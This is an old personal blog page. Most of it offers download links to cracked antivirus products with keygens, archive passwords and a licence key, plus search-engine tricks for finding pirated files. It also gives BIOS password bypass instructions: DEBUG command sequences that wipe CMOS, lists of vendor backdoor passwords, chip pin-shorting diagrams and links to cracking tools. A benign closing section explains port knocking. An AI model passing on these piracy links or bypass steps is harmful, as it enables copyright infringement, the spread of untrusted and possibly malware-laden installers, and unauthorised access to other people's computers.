@CiTy Of DeViL@: 10/18/07

Thursday, October 18, 2007

download free antivirus program with crack

download antivirus softwares full with cracks
ZoneLabs.ZoneAlarm.with.Antivirus.v7.0.302.000.Inc
Antivirus.v7.0.302.000.Incl.Keymaker-by_drian.rar" target="_blank">http://rapidshare.com/files/18841763/ZoneLabs.ZoneAlarm.with.Antivirus.v7.0.302.000.Incl.Keymaker-by_drian.rar

BitDefender_Internet_Security_v10.5_-_Final_workin
http://rapidshare.com/files/1760885/BitDefender_Internet_Security_v10.5_-_Final_working.rar

WinAntiVirus pro 2007 +serial keys

http://rapidshare.com/files/29021997/WinAntiVirus_Pro_2007_3.0.257.3.part1.rar

http://rapidshare.com/files/29022101/WinAntiVirus_Pro_2007_3.0.257.3.part2.rar

Mcafee_antivirus_2007_full
http://rapidshare.com/files/2299263/Mcafee_2007_full__ISO.rar

McAfee Internet Security Suite 2007
Code: http://rapidshare.com/files/11523392/McAfeeInstall.rar

Pass : http://www.th3warez.com

AVG 7.5.448- Internet Security Edition With Crack
hxxp://rapidshare.com/files/36087689/avg75f_472a1024.exe

http = http

After you complete the download use the following user name and license key to register
User name: sam777
License key: 75I-TH1R11-P06-C01-S2AL7G-DP7-5RFV

Zone Alarm Pro 7.0.302.000 firewall
http://rapidshare.com/files/16031674/ZAP7.0.302.000.rar.html

The password for the rar file is Dazza@Zeedownload.com

ZoneAlarm Wireless Security v5.5.094.000 with fix
http://rapidshare.de/files/9714136/ZoneAlarm_Wireless.rar

New Ad-Aware SE Prof 2007 free
http://rapidshare.com/files/40990265/Lavasoft.Ad-Aware.2007.Professional.Edition.v7.0.1.3-DVT.rar

Panda Antivirus 2007 Retail
http://rapidshare.com/files/37407001/Panda_Antivirus_2007_Retail.rar

Symatec Antivirus Coporate edition for VISTA
64 bit version:
http://rapidshare.com/files/18895289/SAVCO...CORP64.rar.html

32 bit version:
http://rapidshare.com/files/18897825/SAVCO...CORP32.rar.html

Norton-Antivirus-2007-Fully-Activated
http://rapidshare.com/files/41550253/Norton_20Antivirus_202007_2010_20Years_20Subscibtion.rar

BitDefender Antivirus Plus 10.247 Full Crack
http://rapidshare.com/files/39595816/TIFF389726348347BD.rar

Password: www.downloadwarez.org

NOD32 Antivirus v2.70.39 Cracked
AntiVirus.v2.70.39_NOD32.FiX.v2.2.rar" target="_blank">http://rapidshare.com/files/33555896/NOD32.AntiVirus.v2.70.39_NOD32.FiX.v2.2.rar

Kaspersky Antivirus 7.0.0.125 Final with crack
http://rapidshare.com/files/40832855/kav125.rar

Mcafee antivirus 8.5i
http://rapidshare.com/files/31400168/Mcafee_Antivirus_8.5i_perfectw.org.rar

RAR Password: www.perfectw.org

Quick Heal
full software: hxxp://rapidshare.com/files/6613598/qh8ntevl.exe (hxxp to http)

crack: http://rapidshare.com/files/6629475/QH.FIX.rar

Kaspersky Antivirus
Kaspersky Internet Security 7.0 offers new cutting-edge technologies with integrated solution that protects users from all types of online threats
The new Parental Control module, which includes a linguistic analyzer blacklists forbidden web addresses, The Privacy Control module, which protects confidential data, prevents the theft of potentially lucrative personal information, including email addresses, passwords, bank details and credit card numbers.

Links:-AntiVirus.Final._.KEYS.rar" target="_blank">http://rapidshare.com/files/47063748/Kasper.7.0.125.AntiVirus.Final._.KEYS.rar

note keys are inside..u can update online too

NOD32 AntiVirus 2.70.39 Lifetime Updates
NOD32, ESET’s most renowned product, has redefined industry standards and received critical acclaim from the world’s leading antivirus software testing organizations.

NOD32 offers integrated real-time protection against viruses, worms, trojans, spyware, adware, phishing, and hackers.

NOD32 features unique ThreatSense® Technology, protecting networks and single computers alike against more new and evolving threats than “big name” brands like Symantec, McAfee, and Trend Micro, according to AV-Comparitives.org.

We design our products to provide every single user the most effective and simple solutions.

NOD32 Antivirus Software can be integrated into homes and home offices, small and medium sized businesses, large enterprises, educational facilities, and ISPs.

NOD32 stops more zero-day threats on first sight than any other program in the world, providing the peace of mind of knowing you’re protected against the threats of today and tomorrow.

Protects against viruses, worms and trojans

NOD32 Antivirus System automatically destroys any dangerous software that tries to threaten your computer. Here at ESET we know well that threats are evolving and changing constantly - and our products respond accordingly. This package includes one year of free updates which provides you with a complete solution for your peace of mind - it protects you against viruses, worms trojans, spyware adware and phishing, all at the same time.

Download:

http://rapidshare.com/files/43700405/Bluecafe_NOD32_AntiVirus_v2.70.39_lifetime_updates.rar

BitDefender Antivirus Plus 10.2
* Filters all possible virus access scenarios: shares, downloads, web traffic, Peer-2-Peer and IM applications, removable drives, etc.
* Blocks unknown viruses using advanced proactive detection techniques
* Scan incoming and outgoing mail without any additional configuration
* Firewall filters all incoming and outgoing network connections and renders decision making easier than ever due to predefined application rules
* Antispam module classifies e-mail as spam/legitimate based on user preferences and protects against scams aimed at accessing sensitive data

Code:
http://rapidshare.com/files/30782535/BitDefender_Antivirus_Plus_10.2.rar

Norton 360 AV
Norton 360 provides all-in-one protection that keeps you, your family, your PC, and your information secure. This comprehensive solution combines Symantec's proven, industry-leading security and PC tune-up technologies with new automated backup and antiphishing features, providing a full circle of protection. Norton 360 is a comprehensive consumer security solution that offers a full circle of protection and eliminates the need to purchase and manage multiple products.

- Defends your PC against a broad range of threats.
- Safeguards against online identity theft.
- Protects important files from loss.
- Keeps your PC tuned up for peak performance.
- Provides a hassle-free user experience.
- Protects against the latest online threats.

Top Features:

- Removes viruses from email and instant messages.
- Blocks Internet worms at point of entry.
- Stops spyware from tracking you online.
- Authenticates popular shopping and banking Web sites.
- Protects you from phishing sites designed to steal your confidential
information.
- Discovers new files and backs up that data automatically.
- Automatically back up important files to a secure online service.
- Local backup to CD, DVD or external drive.
- Automatically removes unwanted Internet clutter and temporary files
that can slow down your PC's performance.

Download-

Program + keygen

CODE
http://rapidshare.com/files/46160407/Ze-360.Full.Incl.KeyGen.FIXED.rar

Keygen only

CODE
http://rapidshare.com/files/46151338/Ze-KeyGen.rar

Norton Internet Security 2007 10.2.0.30 + Keygen
Links:-http://rapidshare.com/files/25302190/edgeNIS2007.rar

Keygen:-http://www.megaupload.com/?d=NENC82GY

download free antivirus program with crack

download any file from any website illeagle muse see best for rapidshare

To see a bunch of 50cent songs

google: +inurl:wma|mp3|ogg site:rapidshare.de cent

To see all video files available on rapidshare...

google: +inurl:avi|mpg|wmv site:rapidshare.de

To see all archives and programs available...

google: +inurl:exe|rar|zip site:rapidshare.de

To see all music files available...

google: +inurl:wma|mp3|ogg site:rapidshare.de

This should show all files available...

google: .* site:rapidshare.de

You can add "-deleted" to any of these searches to filter out some of the inactive files.
Props goes out to AlexTheBeast who got me started with using google to find free music and video files.

you can yse these codes to any website just u must change site name e.g
google: +inurl:wma|mp3|ogg site:mp3.com

it is very useful

Clear BIOS Password, All tricks

**** New Trick ****
At command prompt type debug
you will get a - prompt where you can type the fallowing ( means hit enter, not type enter*)

A
MOV AX,0
MOV AX,CX
OUT 70,AL
MOV AX,0
OUT 71,AL
INC CX
CMP CX,100
JB 103
INT 20
just hit enter on this line
G
Q

Basic BIOS password crack - works 9.9 times out of ten

This is a password hack but it clears the BIOS such that the next time you start the PC, the CMOS does not ask for any password. Now if you are able to bring the DOS prompt up, then you will be able to change the BIOS setting to the default. To clear the CMOS do the following:
Get DOS prompt and type:
DEBUG hit enter
-o 70 2e hit enter
-o 71 ff hit enter
-q hit enter
exit hit enter
Restart the computer. It works on most versions of the AWARD BIOS.

Accessing information on the hard disk

When you turn on the host machine, enter the CMOS setup menu (usually you have to press F2, or DEL, or CTRL+ALT+S during the boot sequence) and go to STANDARD CMOS SETUP, and set the channel to which you have put the hard disk as TYPE=Auto, MODE=AUTO, then SAVE & EXIT SETUP. Now you have access to the hard disk.

Standard BIOS backdoor passwords

The first, less invasive, attempt to bypass a BIOS password is to try on of these standard manufacturer's backdoor passwords:
AWARD BIOS
AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256, j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER, SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA, ZAAADA, ZJAAADC, djonet, %øåñòü ïpîáåëîâ%, %äåâÿòü ïpîáåëîâ%
AMI BIOS
AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder
Other passwords you may try (for AMI/AWARD or other BIOSes)
LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj
Note that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards (such as Italian and German ones), so -- for example -- you should type AWARD?SW when using those keyboards. Also remember that passwords are Case Sensitive. The last two passwords in the AWARD BIOS list are in Russian.

Flashing BIOS via software

If you have access to the computer when it's turned on, you could try one of those programs that remove the password from the BIOS, by invalidating its memory.
However, it might happen you don't have one of those programs when you have access to the computer, so you'd better learn how to do manually what they do. You can reset the BIOS to its default values using the MS-DOS tool DEBUG (type DEBUG at the command prompt. You'd better do it in pure MS-DOS mode, not from a MS-DOS shell window in Windows). Once you are in the debug environment enter the following commands:
AMI/AWARD BIOS
O 70 17
O 71 17
Q
PHOENIX BIOS
O 70 FF
O 71 17
Q
GENERIC
Invalidates CMOS RAM.
Should work on all AT motherboards
(XT motherboards don't have CMOS)
O 70 2E
O 71 FF
Q
Note that the first letter is a "O" not the number "0". The numbers which follow are two bytes in hex format.

Flashing BIOS via hardware

If you can't access the computer when it's on, and the standard backdoor passwords didn't work, you'll have to flash the BIOS via hardware. Please read the important notes at the end of this section before to try any of these methods.

Using the jumpers

The canonical way to flash the BIOS via hardware is to plug, unplug, or switch a jumper on the motherboard (for "switching a jumper" I mean that you find a jumper that joins the central pin and a side pin of a group of three pins, you should then unplug the jumper and then plug it to the central pin and to the pin on the opposite side, so if the jumper is normally on position 1-2, you have to put it on position 2-3, or vice versa). This jumper is not always located near to the BIOS, but could be anywhere on the motherboard.

To find the correct jumper you should read the motherboard's manual.
Once you've located the correct jumper, switch it (or plug or unplug it, depending from what the manual says) while the computer is turned OFF. Wait a couple of seconds then put the jumper back to its original position. In some motherboards it may happen that the computer will automatically turn itself on, after flashing the BIOS. In this case, turn it off, and put the jumper back to its original position, then turn it on again. Other motherboards require you turn the computer on for a few seconds to flash the BIOS.

If you don't have the motherboard's manual, you'll have to "brute force" it... trying out all the jumpers. In this case, try first the isolated ones (not in a group), the ones near to the BIOS, and the ones you can switch (as I explained before). If all them fail, try all the others. However, you must modify the status of only one jumper per attempt, otherwise you could damage the motherboard (since you don't know what the jumper you modified is actually meant for). If the password request screen still appear, try another one.

If after flashing the BIOS, the computer won't boot when you turn it on, turn it off, and wait some seconds before to retry.

Removing the battery

If you can't find the jumper to flash the BIOS or if such jumper doesn't exist, you can remove the battery that keeps the BIOS memory alive. It's a button-size battery somewhere on the motherboard (on elder computers the battery could be a small, typically blue, cylinder soldered to the motherboard, but usually has a jumper on its side to disconnect it, otherwise you'll have to unsolder it and then solder it back). Take it away for 15-30 minutes or more, then put it back and the data contained into the BIOS memory should be volatilized. I'd suggest you to remove it for about one hour to be sure, because if you put it back when the data aren't erased yet you'll have to wait more time, as you've never removed it. If at first it doesn't work, try to remove the battery overnight.

Important note: in laptop and notebooks you don't have to remove the computer's power batteries (which would be useless), but you should open your computer and remove the CMOS battery from the motherboard.
Short-circuiting the chip
Another way to clear the CMOS RAM is to reset it by short circuiting two pins of the BIOS chip for a few seconds. You can do that with a small piece of electric wire or with a bent paper clip. Always make sure that the computer is turned OFF before to try this operation.

Here is a list of EPROM chips that are commonly used in the BIOS industry. You may find similar chips with different names if they are compatible chips made by another brand. If you find the BIOS chip you are working on matches with one of the following you can try to short-circuit the appropriate pins. Be careful, because this operation may damage the chip.
CHIPS P82C206 (square)

Short together pins 12 and 32 (the first and the last pins on the bottom edge of the chip) or pins 74 and 75 (the two pins on the upper left corner).
gnd
74
|__________________
5v 75--| |
| |
| |
| CHIPS |
1 * | |
| P82C206 |
| |
| |
|___________________|
| |
| gnd | 5v
12 32
OPTi F82C206 (rectangular)
Short together pins 3 and 26 (third pin from left side and fifth pin from right side on the bottom edge).
80 51
|______________|
81 -| |- 50
| |
| |
| OPTi |
| |
| F82C206 |
| |
100-|________________|-31
|| | |
1 || | | 30
3 26

Dallas DS1287, DS1287A
Benchmarq bp3287MT, bq3287AMT
The Dallas DS1287 and DS1287A, and the compatible Benchmarq bp3287MT and bq3287AMT chips have a built-in battery. This battery should last up to ten years. Any motherboard using these chips should not have an additional battery (this means you can't flash the BIOS by removing a battery). When the battery fails, the RTC chip would be replaced.
CMOS RAM can be cleared on the 1287A and 3287AMT chips by shorting pins 12 and 21.

The 1287 (and 3287MT) differ from the 1287A in that the CMOS RAM can't be cleared. If there is a problem such as a forgotten password, the chip must be replaced. (In this case it is recommended to replace the 1287 with a 1287A). Also the Dallas 12887 and 12887A are similar but contain twice as much CMOS RAM storage.
__________
1 -| * U |- 24 5v
2 -| |- 23
3 -| |- 22
4 -| |- 21 RCL (RAM Clear)
5 -| |- 20
6 -| |- 19
7 -| |- 18
8 -| |- 17
9 -| |- 16
10 -| |- 15
11 -| |- 14
gnd 12 -|__________|- 13

NOTE: Although these are 24-pin chips,
the Dallas chips may be missing 5 pins,
these are unused pins.
Most chips have unused pins,
though usually they are still present.

Dallas DS12885S
Benchmarq bq3258S
Hitachi HD146818AP
Samsung KS82C6818A
This is a rectangular 24-pin DIP chip, usually in a socket. The number on the chip should end in 6818.
Although this chip is pin-compatible with the Dallas 1287/1287A, there is no built-in battery.
Short together pins 12 and 24.
5v
24 20 13
|___________|____________________|
| |
| DALLAS |
|> |
| DS12885S |
| |
|__________________________________|
| |
1 12
gnd

Motorola MC146818AP
Short pins 12 and 24. These are the pins on diagonally opposite corners - lower left and upper right. You might also try pins 12 and 20.
__________
1 -| * U |- 24 5v
2 -| |- 23
3 -| |- 22
4 -| |- 21
5 -| |- 20
6 -| |- 19
7 -| |- 18
8 -| |- 17
9 -| |- 16
10 -| |- 15
11 -| |- 14
gnd 12 -|__________|- 13

Replacing the chip

If nothing works, you could replace the existing BIOS chip with a new one you can buy from your specialized electronic shop or your computer supplier. It's a quick operation if the chip is inserted on a base and not soldered to the motherboard, otherwise you'll have to unsolder it and then put the new one. In this case would be more convenient to solder a base on which you'll then plug the new chip, in the eventuality that you'll have to change it again. If you can't find the BIOS chip specifically made for your motherboard, you should buy one of the same type (probably one of the ones shown above) and look in your motherboard manufacturer's website to see if there's the BIOS image to download. Then you should copy that image on the chip you bought with an EPROM programmer.

Important
Whether is the method you use, when you flash the BIOS not only the password, but also all the other configuration data will be reset to the factory defaults, so when you are booting for the first time after a BIOS flash, you should enter the CMOS configuration menu (as explained before) and fix up some things.
Also, when you boot Windows, it may happen that it finds some new device, because of the new configuration of the BIOS, in this case you'll probably need the Windows installation CD because Windows may ask you for some external files. If Windows doesn't see the CD-ROM try to eject and re-insert the CD-ROM again. If Windows can't find the CD-ROM drive and you set it properly from the BIOS config, just reboot with the reset key, and in the next run Windows should find it. However most files needed by the system while installing new hardware could also be found in C:WINDOWS, C:WINDOWSSYSTEM, or C:WINDOWSINF .

Key Disk for Toshiba laptops

Some Toshiba notebooks allow to bypass BIOS by inserting a "key-disk" in the floppy disk drive while booting. To create a Toshiba Keydisk, take a 720Kb or 1.44Mb floppy disk, format it (if it's not formatted yet), then use a hex editor such as Hex Workshop to change the first five bytes of the second sector (the one after the boot sector) and set them to 4B 45 59 00 00 (note that the first three bytes are the ASCII for "KEY" followed by two zeroes). Once you have created the key disk put it into the notebook's drive and turn it on, then push the reset button and when asked for password, press Enter. You will be asked to Set Password again. Press Y and Enter. You'll enter the BIOS configuration where you can set a new password.

Key protected cases

A final note about those old computers (up to 486 and early Pentiums) protected with a key that prevented the use of the mouse and the keyboard or the power button. All you have to do with them is to follow the wires connected to the key hole, locate the jumper to which they are connected and unplug it.

That's all.

Clear Cmos, jumper.That is the way how I solve problem when customer forgets password.

More

There are a few different ways to reset the cmos, here's a few:

1. there are many default common passwords,
such as:

At boot-up note the BIOS provider (Award, AMI, Phoenix, IBM, etc.)

For Award BIOS' try these backdoor passwords:

AWARD_SW
j262
HLT
SER
SKY_FOX
BIOSTAR
ALFAROME
Lkwpeter
j256
AWARD?SW
LKWPETER
syxz
ALLy
589589
589721
awkward
CONCAT
d8on
CONDO
j64
szyx

For AMI BIOS' try these backdoor passwords:

AMI
BIOS
PASSWORD
HEWITT RAND
AMI?SW
AMI_SW
LKWPETER
A.M.I.
CONDO

For PHOENIX BIOS' try this backdoor password:

phoenix

there are too many to count here's a list
http://www.phenoelit.de/dpl/dpl.html
(search for PC BIOS)

2. On some older PC's pressing the insert key upon startup will clear
the CMOS, make sure you hold it down till it's done booting.

3. Another way which we pretty much already covered, was to pull the
metallic nickel looking battery that supplies power to the CMOS.

4. Some times there is a small three pin jumper used to reset the bios,
just move the black little pin cover to the opposite two pins.
(Make sure to read the motherboards manual before this)

5. If the battery is soldered in you can take a soldering iron to it but
I don't recommend it unless you are a professional.

6. there are a few programs out on the net which are made to crack
certain types of bios passwords, I have one for award BIOS's here's a
couple:

http://www.11a.nu/ibios.htm

http://natan.zejn.si/rempass.html

Good reading:
http://www.astalavista.com/library/...ios_hacking.txt

http://www.virtualplastic.net/html/misc_bios.html

Tools:
http://www.red-demon.com/pwrecovery.html

port knocking

In computing, port knocking is a method of externally opening ports on a firewall by generating a connection attempt on a set of prespecified closed ports. Once a correct sequence of connection attempts is received the firewall rules are dynamically modified to allow the host which sent the connection attempts to connect over specified port(s).

This is usually implemented by configuring a daemon to watch the firewall log file for said connection attempts then modify the firewall configuration accordingly. It can also be performed by a process examining packets at a higher level (using packet capture interfaces such as Pcap), allowing the use of already "open" TCP ports to be used within the knock sequence. Port knocking is most often used to determine access to port 22, the Secure Shell (SSH) port. The port "knock" itself is similar to a secret handshake and can consist of any number of TCP, UDP or even sometimes ICMP and other protocol packets to numbered ports on the destination machine. The complexity of the knock can be anything from a simple ordered list (e.g. TCP port 1000, TCP port 2000, UDP port 3000) to a complex time-dependent, source-IP-based and other-factor-based encrypted hash.

A port knock setup takes next to no resources and very simple software to implement. A portknock daemon on the firewall machine listens for packets on certain ports (either via the firewall log or by packet capture). The client user would carry an extra utility, which could be as simple as netcat or a modified ping program or as complicated as a full hash-generator, and use that before they attempted to connect to the machine in the usual way.

Most portknocks are stateful systems in that if the first part of the "knock" has been received successfully, an incorrect second part would not allow the remote user to continue and, indeed, would give the remote user no clue as to how far through the sequence they failed. Usually the only indication of failure is that, at the end of the knock sequence, the port expected to be open is not opened. No packets are sent to the remote user at any time.
While this technique for securing access to remote network daemons has not yet been widely adopted by the security community, it has been integrated in newer rootkits.

Step 3

Step 4

How Port knocking works in theory

Step 1 (A) Client cannot connect to application listening on port n; (B) Client cannot establish connection to any port.

Step 2 (1,2,3,4) Client tries to connect to a well-defined set of ports in sequence by sending certain packets; Client has prior knowledge of the port knocking daemon and its configuration, but receives no acknowledgement during this phase because firewall rules preclude any response.

Step 3 (A) Server process (a port knocking daemon) intercepts connection attempts and interprets (decrypts and decodes) them as comprising an authentic "port knock"; server carries out specific task based on content of port knock, such as opening port n to the client.

Step 4 (A) Client connects to port n and authenticates using application’s regular mechanism.

Benefits of port knocking

Consider that, if an external attacker did not know the port knock sequence, even the simplest of sequences would require a massive brute force effort in order to be discovered. A three-knock simple TCP sequence (e.g. port 1000, 2000, 3000) would require an attacker without prior knowledge of the sequence to test every combination of three ports in the range 1-65535, and then to scan each port in between to see if anything had opened. As a stateful system, the port would not open until after the correct three-digit sequence had been received in order, without other packets in between.

That equates to approximately 655354 packets in order to obtain and detect a single successful opening. That's approximately 18,445,618,199,572,250,625 or 18 million million million packets. On the average attempt it would take approximately 9 million million million packets to successfully open a single, simple three-port TCP-only knock by brute force. This is made even more impractical when knock attempt-limiting is used to stop brute force attacks, longer and more complex sequences are used and cryptographic hashes are used as part of the knock.

When a port knock is successfully used to open a port, the firewall rules are generally only opened to the IP address that supplied the correct knock. This is similar to only allowing a certain IP whitelist to access a service but is also more dynamic. An authorised user situated anywhere in the world would be able to open the port he is interested in to only the IP that he is using without needing help from the server administrator. He would also be able to "close" the port once he had finished, or the system could be set up to use a timeout mechanism, to ensure that once he changes IP's, only the IP's necessary are left able to contact the server. Because of port knocking's stateful behaviour, several users from different source IP addresses can simultaneously be at varying levels of the port knock. Thus it is possible to have a genuine user with the correct knock let through the firewall even in the middle of a port attack from multiple IP's (assuming the bandwidth of the firewall is not completely swamped). To all other IP addresses, the ports still appear closed and there is no indication that there are other users who have successfully opened ports and are using them.

Using cryptographic hashes inside the port knock sequence can mean that even sniffing the network traffic in and out of the source and target machines is ineffective against discovering the port knock sequence or using traffic replay attacks to repeat prior port knock sequences. Even if somebody did manage to guess, steal or sniff the port knock and successfully use it to gain access to a port, the usual port security mechanisms are still in place, along with whatever service authentication was running on the opened ports.

The software required, either at the server or client end, is minimal and can in fact be implemented as simply as a shell script for the server or a Windows batch file and a standard Windows command line utility for the client. Overhead in terms of traffic, CPU and memory consumption is at an absolute minimum. Port knock daemons also tend to be so simple that any sort of vulnerability is obvious and the code is very easily auditable. With a portknock system in place on ports such as the SSH port, it can prevent brute force password attacks on logins. The SSH daemon need not even wake up as any attempt that is made without the correct portknock will bounce harmlessly off the TCP/IP stack rather than the SSH authentication. As far as any attacker is concerned, there is no daemon running on that port at all until he manages to correctly knock on the port. The system is completely customisable and not limited to opening specific ports or, indeed, opening ports at all. Usually a knock sequence description is tied with an action, such as running a shell script, so when a specific sequence is detected by the port knock daemon, the relevant shell script is run. This could add firewall rules to open ports or do anything else that was possible in a shell script. Many portknocks can be used on a single machine to perform many different actions, such as opening or closing different ports.

Due to the fact that the ports appear closed at all times until a user knowing the correct knock uses it, port knocking can help cut down not only on brute force password attacks and their associated log spam but also protocol vulnerability exploits. If an exploit was discovered that could compromise SSH daemons in their default configuration, having a port knock on that SSH port could mean that the SSH daemon may not be compromised in the time before it was updated. Only authorised users would have the knock and therefore only authorised users would be able to contact the SSH server in any way. Thus, random attempts on SSH servers by worms and viruses trying to exploit the vulnerability would not reach the vulnerable SSH server at all, giving the administrator a chance to update or patch the software. Although not a complete protection, port knocking would certainly be another level of defense against random attacks and, properly implemented, could even stop determined, targeted attacks.

Port knocking generally has some disregard in the security world, given that early implementations basically consisted of a number of ports that had to be hit in order. However, the best of modern portknock systems are much more complex, some using highly secure cryptographic hashes in order to defeat the most common attacks (such as packet sniffing and packet replay). Additionally, portknock systems can include blacklists, whitelists and dynamic attack responses as can any internet service, however, even the simplest of port knocks controls access to a system before attackers are able to hit a service that allocates memory, CPU time or other significant resources and also acts as a barrier against brute-force attempts, automated vulnerability exploits, etc. Also, port knocking does not generally lower the security of a system overall. Indeed, it provides another layer of security for minimal overhead. In a worst case scenario however, the port knocking software introduced a new security problem or lowers security due to risk compensation.

i liked to share this information its really Knowledgeable

http://en.wikipedia.org/wiki/Port_knocking

More On Port Knocking

More On Port Knocking

Port Knocking

Port knocking is a clever new computer security trick. It's a way to configure a system so that only systems who know the "secret knock" can access a certain port. For example, you could build a port-knocking defensive system that would not accept any SSH connections (port 22) unless it detected connection attempts to closed ports 1026, 1027, 1029, 1034, 1026, 1044, and 1035 in that sequence within five seconds, then listened on port 22 for a connection within ten seconds. Otherwise, the system would completely ignore port 22.

It's a clever idea, and one that could easily be built into VPN systems and the like. Network administrators could create unique knocks for their networks -- family keys, really -- and only give them to authorized users. It's no substitute for good access control, but it's a nice addition. And it's an addition that's invisible to those who don't know about it.

Firewall administrators are challenged to balance flexibility and security when designing a comprehensive rule set. A firewall should provide protection against malfeasants, while allowing trusted users to connect. Unfortunately, it is not always possible to filter out the bad guys, because filtering on the basis of IP addresses and ports does not distinguish connecting users. Bad guys can and do come from trusted IP addresses. Open ports remain a necessary vulnerability: they allow connections to applications but also may turn into open doors for attack. This article presents a new security system, termed port knocking, in which trusted users manipulate firewall rules by transmitting information across closed ports.

Briefly, users make connection attempts to sequences of closed ports. The failed connections are logged by the server-side packet filtering firewall and detected by a dæmon that monitors the firewall log file. When a properly formatted knock sequence, playing the role of the secret used in the authentication, is received, firewall rules are manipulated based on the information content of the sequence. This user-based authentication system is both robust, being mediated by the kernel firewall, and stealthy--it's not possible to detect whether a networked machine is listening for port knocks. Port knocking does not require any open ports, and it can be extended to transmit any type of information encoded in a port sequence.

In commonly deployed firewalls, filtering is done either by the IP address of the connecting host or by the port to which this host is connecting. Firewalls examine and interact with packets before any user authentication takes place; therefore, they do not discriminate amongst the users making the connection. It is expected that once the firewall has approved the packet and allowed it to enter the network, downstream applications will handle user authentication. Normally, this provides a sufficient balance between protection and flexibility. Some IP ranges, say cracker-friendly Internet cafés, may be closed completely to incoming traffic, while hosts in other IP ranges may be allowed to connect to ports otherwise unavailable to the general public (proprietary/sensitive applications). Unfortunately, this type of IP-based filtering has the potential to lock out trusted users from your system. Flexibility is limited by the fact that nobody from the blocked IP ranges can connect, regardless of their trust statuses. At the same time, protection is undermined by the fact that anyone from the blocked IP range physically can travel and connect from an unfiltered host. In the end, as long as ports remain open, network applications are susceptible to attack. Using intrusion detection systems and keeping applications up to date can go a long way towards providing protection, but they do so against only known, derivative or anticipated attacks. To eliminate the risk associated with publically open ports, port knocking provides an authentication system that works across closed ports. The use of these ports, however, has to be subverted because all packets are denied. Fortunately, in most firewalls that perform even the most rudimentary logging, information already is flowing across closed ports in the form of entries in a log file indicating connection attempts. Consider the following example. A handful of ports (100-109) are configured to deny all traffic--no ICMP error packets are sent back to the connecting client--and all attempted connections are logged. In this example, the firewall IP is IPF and the connecting client IP is IPC. The appropriate ipchains command to close the ports and log connections is: ipchains -A input -p tcp -s 0/0 -d IPF/32 100:109 -j DENY -l
A user attempts to connect from IPC to the following firewall ports in sequence: 102,100,100,103. From the point of view of the user, the connections fail silently. On the firewall, though, the 102,100,100,103 number sequence has been recorded. Feb 12 00:13:26 ... input DENY eth1 PROTO=6 IPC:64137 IPF:102 ...
Feb 12 00:13:27 ... input DENY eth1 PROTO=6 IPC:64138 IPF:100 ...
Feb 12 00:13:27 ... input DENY eth1 PROTO=6 IPC:64139 IPF:100 ...
Feb 12 00:13:28 ... input DENY eth1 PROTO=6 IPC:64140 IPF:103 ...
The knock sequence appears in the firewall log, and the user has transmitted data across the closed ports. Any implementation of the port knocking system needs to provide some basic functionality. First, some way to monitor the firewall log file needs to be devised. A simple Perl application that tails the file is presented in Listing 2, discussed more fully later in the article. Second, a method is required to extract the sequences of ports from the log file and translate their payload into usable information. In this step it is important to be able to (a) detect when a port sequence begins and ends, (b) correctly detect a port sequence in the presence of spurious connection attempts that are not part of the sequence and (c) keep track of multiple port sequences arriving at the same time from different remote IPs. The encoding used to generate the port sequence can be designed to minimize the length of the sequence. For example, the sequence 100,102 could correspond to one or a series of predefined operations (for example, open port ssh/22 for 15 minutes for a specific IP and then close the port). Finally, once the information is derived from the sequence, the implementation must provide some way to manipulate the firewall rules.
Benefits of Port Knocking
One of the key features of port knocking is it provides a stealthy method of authentication and information transfer to a networked machine that has no open ports. It is not possible to determine successfully whether the machine is listening for knock sequences by using port probes. Thus, although a brute-force attack could be mounted to try to guess the ports and the form of the sequence, such breach attempts could be detected easily. Second, because information is flowing in the form of connection attempts rather than in typical packet data payload, without knowing that this system is in place it would be unlikely that the use of this authentication method would be detected by monitoring traffic. To minimize the risk of a functional sequence being constructed by the intercepting party, the information content containing the remote IP of the sequence can be encrypted. Third, because the authentication is built into the port knock sequence, existing applications need not be changed. Implementing one-time passwords is done easily by adjusting the way particular sequences are interpreted. A sequence could correspond to a request that a port be opened for a specific length of time and then closed and never opened again to the same IP. Furthermore, a one-time pad could be used to encrypt the sequence, making it indecipherable by those without the pad.
Disadvantages of Port Knocking
To use port knocking, a client script that performs the knock is required. The client and any associated data should be considered a secret and kept on removable media, such as a USB key. The use of the client imposes an overhead for each connection. Certain locations, such as libraries or Internet cafés, may not allow execution of arbitrary programs. In order to use port knocking, a number of ports need to be allocated for exclusive use by this system. As the number of such ports increases, the knock sequences becomes shorter for a given amount of information payload, because the number of coding symbols is increased. Practically, 256 free privileged ports (in the 1-1024 range), not necessarily contiguous, usually can be allocated and used to listen for port knocks. Finally, any system that manipulates firewall rules in an automated fashion requires careful implementation. For the scenario in which no ports are initially open, if the listening dæmon fails or is not able to interpret the knocks correctly, it becomes impossible to connect remotely to the host.
Applications
In this section, three examples are outlined that illustrate how the port knocking system can be used. 1. Single Port, Fixed Mapping Connection to only one port (ssh/22) is required. The ssh dæmon is running; all privileged ports are closed, including ssh/22; and packets addressed to ports 30,31,32 are being logged. The following port sequences are recognized: 31,32,30 open ssh/22 to connecting IP
32,30,31 close ssh/22 to connecting IP
31,30,32 close ssh/22 to connecting IP and disregard further knocks from this IP
The justifiably paranoid administrator can open the ssh/22 port on his system by initiating TCP connections to ports 31,32,30. At the end of the ssh session, the port would be closed by using the second sequence shown above. If the host from which the administrator is connecting is not trusted (if, say, keystrokes may be snooped), the use of the third sequence would deny all further traffic from the IP, preventing anyone from duplicating the session. This assumes the port sequence and system login credentials are not captured by a third party and used before the legitimate session ends. In this example, only three sequences are understood by the system, as the requirements call for only a handful of well-defined firewall manipulations. The sequences were chosen not to be monotonically increasing (30, 31, 32), so they would not be triggered by remote port scans. If multiple ports are to be protected by this system, a mapping needs to be derived between the port sequence and a flexible firewall rule. This is covered in the next example. 2. Multiple Port, Dynamic Mapping In this example, a network may be running any number of applications. Ports 100-109 are used to listen to knocks. The port sequence is expected to be of the form: 102,100,110 10a,10b,10c,10d 10(a+b+c+d mod 10) 110,100,102
header payload checksum footer
